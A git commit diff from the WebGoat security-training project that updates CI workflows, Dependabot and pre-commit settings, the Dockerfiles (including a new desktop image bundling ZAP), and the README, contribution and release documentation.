ci: run pre-commit checks first

Since we already have `webwolf.port` it makes sense to also define `webwolf.port` explicitly and not rely on `server.port`

Closes: #1910

.dockerignore

@@ -1,3 +1,4 @@
 **
 
 !/target
+!/config/desktop

.github/FUNDING.yml

@@ -1 +1 @@
-custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat
+custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

.github/dependabot.yml

@@ -1,7 +1,14 @@
 version: 2
 updates:
-  # Maintain dependencies for GitHub Actions
-  - package-ecosystem: "github-actions"
-    directory: "/"
-    schedule:
-      interval: "daily"
+    -   package-ecosystem: "github-actions"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+    -   package-ecosystem: "maven"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+    -   package-ecosystem: "docker"
+        directory: "/"
+        schedule:
+            interval: "weekly"

.github/workflows/branchbuild.txt

@@ -0,0 +1,54 @@
+name: "Branch build"
+on:
+    push:
+      branches:
+        - "*"
+        - "!main"
+
+jobs:
+    branch-build:
+        runs-on: ${{ matrix.os }}
+        strategy:
+            matrix:
+                os: [ ubuntu-latest, windows-latest, macos-latest ]
+                java-version: [ 21 ]
+        steps:
+            -   uses: actions/checkout@v4
+            -   name: Set up JDK ${{ matrix.java-version }}
+                uses: actions/setup-java@v4
+                with:
+                    distribution: 'temurin'
+                    java-version: ${{ matrix.java-version }}
+                    architecture: x64
+            -   name: Cache Maven packages
+                uses: actions/cache@v3.3.1
+                with:
+                    path: ~/.m2
+                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+                    restore-keys: ${{ runner.os }}-m2-
+            -   name: Build with Maven
+                run: mvn --no-transfer-progress verify
+            -   name: "Set up QEMU"
+                if: runner.os == 'Linux'
+                uses: docker/setup-qemu-action@v2.2.0
+            -   name: "Set up Docker Buildx"
+                if: runner.os == 'Linux'
+                uses: docker/setup-buildx-action@v2
+            -   name: "Verify Docker WebGoat build"
+                if: runner.os == 'Linux'
+                uses: docker/build-push-action@v5.1.0
+                with:
+                    context: ./
+                    file: ./Dockerfile
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+            -   name: "Verify Docker WebGoat desktop build"
+                uses: docker/build-push-action@v5.1.0
+                if: runner.os == 'Linux'
+                with:
+                    context: ./
+                    file: ./Dockerfile_desktop
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

.github/workflows/build.yml

@@ -1,68 +1,50 @@
-name: "Build"
+name: "Main / Pull requests build"
 on:
-  pull_request:
-    paths-ignore:
-      - '.txt'
-      - 'LICENSE'
-      - 'docs/**'
-  push:
-    branches:
-      - main
-      - develop
-      - release/*
-    tags-ignore:
-      - '*'
-    paths-ignore:
-      - '.txt'
-      - 'LICENSE'
-      - 'docs/**'
+    pull_request:
+        paths-ignore:
+            - '.txt'
+            - 'LICENSE'
+            - 'docs/**'
+        branches: [ main ]
+    push:
+        branches:
+            - main
 
 jobs:
-  pr-build:
-    if: >
-      github.event_name == 'pull_request' && !github.event.pull_request.draft && (
-        github.event.action == 'opened' ||
-        github.event.action == 'reopened' ||
-        github.event.action == 'synchronize' 
-      )
-    runs-on: ${{ matrix.os }}
-    strategy:
-      matrix:
-        os: [ubuntu-latest, windows-latest, macos-latest]
-    steps:
-      - uses: actions/checkout@v3
-      - name: Set up JDK 17
-        uses: actions/setup-java@v3
-        with:
-          distribution: 'temurin'
-          java-version: 17
-          architecture: x64
-      - name: Cache Maven packages
-        uses: actions/cache@v3.2.2
-        with:
-          path: ~/.m2
-          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-          restore-keys: ${{ runner.os }}-m2-
-      - name: Build with Maven
-        run: mvn --no-transfer-progress verify
-
-  build:
-    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
-    runs-on: ubuntu-latest
-    name: "Branch build"
-    steps:
-        - uses: actions/checkout@v3
-        - name: set up JDK 17
-          uses: actions/setup-java@v3
-          with:
-              distribution: 'temurin'
-              java-version: 17
-              architecture: x64
-        - name: Cache Maven packages
-          uses: actions/cache@v3.2.2
-          with:
-              path: ~/.m2
-              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-              restore-keys: ubuntu-latest-m2-
-        - name: Test with Maven
-          run: mvn --no-transfer-progress verify
+    pre-commit:
+        name: Pre-commit check
+        runs-on: ubuntu-latest
+        steps:
+            -   name: Checkout git repository
+                uses: actions/checkout@v4
+            -   name: Setup python
+                uses: actions/setup-python@v5
+                with:
+                    python-version: "3.9"
+            -   uses: actions/setup-java@v4
+                with:
+                    distribution: 'temurin'
+                    java-version: '21'
+            -   name: Pre-commit checks
+                uses: pre-commit/action@v3.0.0
+            -   name: pre-commit-ci-lite
+                uses: pre-commit-ci/lite-action@v1.1.0
+                if: always()
+    build:
+        runs-on: ${{ matrix.os }}
+        strategy:
+            fail-fast: true
+            matrix:
+                os: [ windows-latest, ubuntu-latest, macos-13 ]
+            max-parallel: 1
+        steps:
+            -   uses: actions/checkout@v4.1.6
+            -   name: Set up JDK 21
+                uses: actions/setup-java@v4.2.1
+                with:
+                    distribution: 'temurin'
+                    java-version: 21
+                    architecture: x64
+                    cache: 'maven'
+            -   name: Build with Maven
+                run: mvn --no-transfer-progress verify

.github/workflows/release.yml

@@ -8,33 +8,25 @@ jobs:
     if: github.repository == 'WebGoat/WebGoat'
     name: Release WebGoat
     runs-on: ubuntu-latest
+    permissions:
+        contents: write
     environment:
       name: release
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v4
 
-      - name: "Get tag name"
-        id: tag
-        uses: dawidd6/action-get-tag@v1
-
-      - name: Set up JDK 17
-        uses: actions/setup-java@v3
+      - name: Set up JDK 21
+        uses: actions/setup-java@v4
         with:
-          distribution: 'zulu'
-          java-version: 17
+          distribution: 'temurin'
+          java-version: 21
           architecture: x64
-
-      - name: Cache Maven packages
-        uses: actions/cache@v3.2.2
-        with:
-          path: ~/.m2
-          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-          restore-keys: ${{ runner.os }}-m2
+          cache: 'maven'
 
       - name: "Set labels for ${{ github.ref }}"
         run: |
-          echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
-          WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
+          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
+          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
           echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
       - name: Build with Maven
         run: |
@@ -48,7 +40,7 @@ jobs:
           files: |
             target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
           body: |
-            ## Version ${{ steps.tag.outputs.tag }}
+           ## Version ${{ github.ref_name }}
 
             ### New functionality
 
@@ -57,8 +49,8 @@ jobs:
             ### Bug fixes
 
             - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
-              
-            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}  
+
+            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
 
 
             ## Contributors
@@ -76,63 +68,76 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
       - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v2.1.0
+        uses: docker/setup-qemu-action@v3.1.0
         with:
           platforms: all
 
       - name: "Set up Docker Buildx"
-        uses: docker/setup-buildx-action@v2
+        uses: docker/setup-buildx-action@v3
 
       - name: "Login to dockerhub"
-        uses: docker/login-action@v2.1.0
+        uses: docker/login-action@v3.3.0
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
-      - name: "Build and push"
-        uses: docker/build-push-action@v3.2.0
+      - name: "Build and push WebGoat"
+        uses: docker/build-push-action@v6.9.0
         with:
           context: ./
           file: ./Dockerfile
-          push: true 
-          platforms: linux/amd64, linux/arm64, linux/arm/v7
+          push: true
+          platforms: linux/amd64, linux/arm64
           tags: |
             webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
             webgoat/webgoat:latest
           build-args: |
             webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
 
-      - name: "Image digest"
-        run: echo ${{ steps.docker_build.outputs.digest }}
+      - name: "Build and push WebGoat desktop"
+        uses: docker/build-push-action@v6.9.0
+        with:
+          context: ./
+          file: ./Dockerfile_desktop
+          push: true
+          platforms: linux/amd64, linux/arm64
+          tags: |
+            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat-desktop:latest
+          build-args: |
+            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
   new_version:
-    permissions:
-      contents: write  # for Git to git push
     if: github.repository == 'WebGoat/WebGoat'
-    name: Update development version
+    name: Update to next SNAPSHOT version
     needs: [ release ]
     runs-on: ubuntu-latest
-    environment:
-      name: release
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v4
         with:
-          ref: develop
-          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
+          fetch-depth: 0
 
-      - name: Set up JDK 17
-        uses: actions/setup-java@v3
+      - name: Set up JDK 21
+        uses: actions/setup-java@v4
         with:
-          java-version: 17
+          distribution: 'temurin'
+          java-version: 21
           architecture: x64
 
       - name: Set version to next snapshot
         run: |
-          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
 
-      - name: Commit pom.xml
-        run: |
-          git config user.name webgoat-github
-          git config user.email owasp.webgoat@gmail.com
-          find . -name 'pom.xml' | xargs git add
-          git commit -m "Updating to the new development version"
-          git push
+      - name: Push the changes to new branch
+        uses: devops-infra/action-commit-push@v0.9.2
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            add_timestamp: true
+            commit_message: "Updating to the new development version"
+            force: false
+
+      - name: Create PR
+        uses: devops-infra/action-pull-request@v0.5.5
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            title: ${{ github.event.commits[0].message }}
+            target_branch: main

.github/workflows/test.yml

@@ -2,14 +2,11 @@ name: "UI-Test"
 on:
     pull_request:
         paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
             - 'LICENSE'
             - 'docs/**'
     push:
-#        tags-ignore:
-#            - '*'
+        tags-ignore:
+            - 'v*'
         paths-ignore:
             - '.txt'
             - '*.MD'
@@ -24,45 +21,41 @@ jobs:
         name: "Robot framework test"
         steps:
             # Uses an default action to checkout the code
-            - uses: actions/checkout@v3
+            -   uses: actions/checkout@v4.1.6
             # Uses an action to add Python to the VM
-            - name: Setup Pyton
-              uses: actions/setup-python@v4
-              with:
-                  python-version: '3.7'
-                  architecture: x64
-            # Uses an action to add JDK 17 to the VM (and mvn?)
-            - name: set up JDK 17
-              uses: actions/setup-java@v3
-              with:
-                  distribution: 'temurin'
-                  java-version: 17
-                  architecture: x64
-            #Uses an action to set up a cache using a certain key based on the hash of the dependencies
-            - name: Cache Maven packages
-              uses: actions/cache@v3.2.2
-              with:
-                  path: ~/.m2
-                  key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-                  restore-keys: ubuntu-latest-m2-
-            - uses: BSFishy/pip-action@v1
-              with:
-                  packages: |
-                      robotframework
-                      robotframework-SeleniumLibrary
-                      webdriver-manager
-            - name: Run with Maven
-              run: mvn --no-transfer-progress spring-boot:run &
-            - name: Wait to start
-              uses: ifaxity/wait-on-action@v1
-              with:
-                  resource: http://127.0.0.1:8080/WebGoat
-            - name: Test with Robotframework
-              run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
+            -   name: Setup Python
+                uses: actions/setup-python@v5
+                with:
+                    python-version: '3.7'
+                    architecture: x64
+            # Uses an action to add JDK 21 to the VM (and mvn?)
+            -   name: set up JDK 21
+                uses: actions/setup-java@v4.2.1
+                with:
+                    distribution: 'temurin'
+                    java-version: 21
+                    architecture: x64
+                    cache: 'maven'
+            -   uses: BSFishy/pip-action@v1
+                with:
+                    packages: |
+                        robotframework
+                        robotframework-SeleniumLibrary
+                        webdriver-manager
+                        selenium==4.9.1
+                    # TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
+            -   name: Run with Maven
+                run: mvn --no-transfer-progress spring-boot:run &
+            -   name: Wait to start
+                uses: ifaxity/wait-on-action@v1
+                with:
+                    resource: http://127.0.0.1:8080/WebGoat
+            -   name: Test with Robotframework
+                run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
             # send report to forks only due to limits on permission tokens
-            - name: Send report to commit
-              if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
-              uses: joonvena/robotframework-reporter-action@v2.1
-              with:
-                  gh_access_token: ${{ secrets.GITHUB_TOKEN }}
-                  report_path: 'robotreport'
+            -   name: Send report to commit
+                if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
+                uses: joonvena/robotframework-reporter-action@v2.2
+                with:
+                    gh_access_token: ${{ secrets.GITHUB_TOKEN }}
+                    report_path: 'robotreport'

.github/workflows/welcome.yml

@@ -10,7 +10,7 @@ jobs:
     if: github.repository == 'WebGoat/WebGoat'
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/first-interaction@v1.1.1
+      - uses: actions/first-interaction@v1.3.0
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

.gitignore

@@ -56,4 +56,4 @@ TestClass.class
 **/*.flattened-pom.xml
 /.gitconfig
 
-webgoat.gitconfig
+webgoat.gitconfig

.pre-commit-config.yaml

@@ -0,0 +1,28 @@
+ci:
+  autofix_commit_msg: |
+    [pre-commit.ci] auto fixes from pre-commit.com hooks
+  autofix_prs: false # managed in the action step
+  autoupdate_branch: ""
+  autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
+  autoupdate_schedule: weekly
+  skip: []
+  submodules: false
+repos:
+  - repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v4.4.0
+    hooks:
+      - id: check-yaml
+      - id: end-of-file-fixer
+        exclude: ^(README.md|CREATE_RELEASE.md)
+      - id: trailing-whitespace
+  - repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
+    rev: v9.5.0
+    hooks:
+      - id: commitlint
+        stages: [commit-msg]
+  - repo: https://github.com/ejba/pre-commit-maven
+    rev: v0.3.4
+    hooks:
+      - id: maven
+        args: [ 'clean compile' ]
+      - id: maven-spotless-apply

CONTRIBUTING.md

@@ -3,6 +3,7 @@
 [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
 ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
 ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 This document describes how you can contribute to WebGoat. Please read it carefully.
 
@@ -41,6 +42,19 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
 
 ### Write a good commit message
 
+* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
+
+  - fix:
+  - feat:
+  - build:
+  - chore:
+  - ci:
+  - docs:
+  - refactor:
+  - test:
+
+  Using this style of commits makes it possible to create our release notes automatically.
+
 * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
 
 * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
@@ -86,7 +100,7 @@ For example: `Fix #545` or `Closes #10`
 
     ```bash
     $ git fetch upstream
-    $ git merge upstream/develop
+    $ git merge upstream/main
     ```
 
     See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

COPYRIGHT.txt

@@ -16,4 +16,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
 
 Getting Source ==============
 
-Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

CREATE_RELEASE.md

@@ -2,31 +2,20 @@
 
 ### Version numbers
 
-For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
-and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
-`v8.0.0` in the `pom.xml`
+For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
+and 2023.01 in the `pom.xml`.
 
 ### Release notes:
 
-Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
-committers.
-
-At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
+Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
+committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
 
 ```
-git checkout develop
-git flow release start <version>
-git flow release publish
-
-<<Make changes if necessary>>
-<<Update RELEASE_NOTES.md>>
-
-git flow release finish <version>
-git push origin develop
-git push origin main
+mvn versions:set
+<< update release notes >>
+mvn verify
+git commit ....
+git tag v2023.01
 git push --tags
 ```
 
-Now Travis takes over and will create the release in Github and on Docker Hub.
-
-NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version

Dockerfile

@@ -1,8 +1,13 @@
-FROM docker.io/eclipse-temurin:17-jre-focal
+# We need JDK as some of the lessons needs to be able to compile Java code
+FROM docker.io/eclipse-temurin:21-jdk-jammy
 
-RUN useradd -ms /bin/bash webgoat
-RUN chgrp -R 0 /home/webgoat
-RUN chmod -R g=u /home/webgoat
+LABEL name="WebGoat: A deliberately insecure Web Application"
+LABEL maintainer="WebGoat team"
+
+RUN \
+  useradd -ms /bin/bash webgoat && \
+  chgrp -R 0 /home/webgoat && \
+  chmod -R g=u /home/webgoat
 
 USER webgoat
 
@@ -11,6 +16,8 @@ COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
 EXPOSE 8080
 EXPOSE 9090
 
+ENV TZ=Europe/Amsterdam
+
 WORKDIR /home/webgoat
 ENTRYPOINT [ "java", \
    "-Duser.home=/home/webgoat", \
@@ -24,9 +31,10 @@ ENTRYPOINT [ "java", \
    "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
    "--add-opens", "java.base/java.io=ALL-UNNAMED", \
    "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
    "-Drunning.in.docker=true", \
-   "-Dwebgoat.host=0.0.0.0", \
-   "-Dwebwolf.host=0.0.0.0", \
-   "-Dwebgoat.port=8080", \
-   "-Dwebwolf.port=9090", \
-   "-jar", "webgoat.jar" ]
+   "-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
+
+HEALTHCHECK --interval=5s --timeout=3s \
+  CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1

Dockerfile_desktop

@@ -0,0 +1,46 @@
+FROM lscr.io/linuxserver/webtop:ubuntu-xfce
+LABEL NAME = "WebGoat: A deliberately insecure Web Application"
+LABEL maintainer = "WebGoat team"
+
+WORKDIR /config
+
+COPY target/webgoat-*.jar /config/webgoat.jar
+COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
+COPY config/desktop/start_zap.sh /config/start_zap.sh
+COPY config/desktop/WebGoat.txt /config/Desktop/
+
+RUN \
+ apt-get update &&  \
+ apt-get --yes install vim nano gzip
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ echo ${ARCH}
+
+RUN \
+ curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
+ tar zfxv ZAP_2.15.0_Linux.tar.gz && \
+ rm -rf ZAP_2.15.0_Linux.tar.gz
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ echo "oeps == ${ARCH}==" && \
+ curl -L https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.3%2B9/OpenJDK21U-jre_"${ARCH}"_linux_hotspot_21.0.3_9.tar.gz -o java.tar.gz && \
+ tar zfxv java.tar.gz && \
+ rm -rf java.tar.gz && \
+ chmod +x /config/start_webgoat.sh && \
+ chmod +x /config/start_zap.sh && \
+ echo "JAVA_HOME=/config/jdk-21.0.3+9-jre/" >> .bash_aliases && \
+ echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
+
+ENV JAVA_HOME=/config/jdk-21.0.3+9-jre
+
+WORKDIR /config/Desktop

FAQ.md

@@ -0,0 +1,7 @@
+# FAQ for development
+
+## Introduction
+
+### Integration tests fail
+
+Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

LICENSE.txt

@@ -16,4 +16,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
 
 Getting Source ==============
 
-Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

README.md

@@ -1,11 +1,12 @@
-# WebGoat 8: A deliberately insecure Web Application
+# WebGoat: A deliberately insecure Web Application
 
 [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
-[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
+[![java-jdk](https://img.shields.io/badge/java%20jdk-21-green.svg)](https://jdk.java.net/)
 [![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
 [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
 [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
 [![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 # Introduction
 
@@ -27,51 +28,78 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*
 
+![WebGoat](docs/images/webgoat.png)
+
 # Installation instructions:
 
 For more details check [the Contribution guide](/CONTRIBUTING.md)
 
 ## 1. Run using Docker
 
+Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
+
 Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
 
-The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
-
 ```shell
-docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
 ```
 
-If you want to reuse the container, give it a name:
+For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
+E.g.
 
 ```shell
-docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
 ```
 
-As long as you don't remove the container you can use:
+If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
+you can use custom host entries. For example:
 
 ```shell
-docker start webgoat
+127.0.0.1 www.webgoat.local www.webwolf.local
 ```
 
-This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
+Then you can run the container with:
 
-**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
+```
 
-## 2. Standalone
+Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
+
+## 2. Run using Docker with complete Linux Desktop
+
+Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
+
+```shell
+docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
+```
+
+## 3. Standalone
 
 Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
 
 ```shell
-java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
+export TZ=Europe/Amsterdam # or your timezone
+java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
 ```
 
 Click the link in the log to start WebGoat.
 
-## 3. Run from the sources
+### 3.1 Running on a different port
+
+If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
+
+```shell
+java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
+```
+
+For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
+
+## 4. Run from the sources
 
 ### Prerequisites:
 
-* Java 17
+* Java 17 or 21
 * Your favorite IDE
 * Git, or Git support in your IDE
 
@@ -96,7 +124,7 @@ git checkout <<branch_name>>
 docker build -f Dockerfile . -t webgoat/webgoat
 ```
 
-Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
+Now we are ready to run the project. WebGoat is using Spring Boot.
 
 ```Shell
 # On Linux/Mac:
@@ -123,14 +151,15 @@ For specialist only. There is a way to set up WebGoat with a personalized menu.
 For instance running as a jar on a Linux/macOS it will look like this:
 
 ```Shell
+export TZ=Europe/Amsterdam # or your timezone
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar target/webgoat-2023.3-SNAPSHOT.jar
+java -jar target/webgoat-2023.8-SNAPSHOT.jar
 ```
 
 Or in a docker run it would (once this version is pushed into docker hub) look like this:
 
 ```Shell
-docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
 ```
 

README_I18N.md

@@ -16,19 +16,19 @@ The following steps are required when you want to add a new language
 
 1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
    1. Add the parts for showing the flag and providing the correct value for the flag= parameter
-2. 
-3. Add a flag image to src/main/resources/webgoat/static/css/img
+      2.
+2. Add a flag image to src/main/resources/webgoat/static/css/img
    1. See the main_new.html for a link to download flag resources
-4. Add a welcome page to the introduction lesson
+3. Add a welcome page to the introduction lesson
    1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
    2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
-5. Translate the main labels
+4. Translate the main labels
    1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
    2. Translate the label values
-6. Optionally translate lessons by
+5. Optionally translate lessons by
    1. Adding lang specifc adoc files in documentation folder of the lesson
    2. Adding WebGoatLabels.properties of a specific language if you want to
-7. Run mvn clean to see if the LabelAndHintIntegration test passes
-8. Run WebGoat and verify that your own language and the other languages work as expected
+6. Run mvn clean to see if the LabelAndHintIntegration test passes
+7. Run WebGoat and verify that your own language and the other languages work as expected
 
 If you only want to translate more for a certain language, you only need to do step 4-8

RELEASE_NOTES.md

@@ -1,5 +1,73 @@
 # WebGoat release notes
 
+## Version 2023.8
+
+### 🚀 New functionality
+
+- Consistent environment values and url references (#1677)
+- Show directly requested file in requests overview
+- Show creating time in file upload overview
+
+### 🐞 Bug fixes
+
+- Fix startup message (#1687)
+- Fix/state of software supply chain links (#1683)
+- Fix WebWolf UI (#1686)
+
+### 🔄 Technical tasks
+
+- bump actions/setup-java from 3 to 4 (#1690)
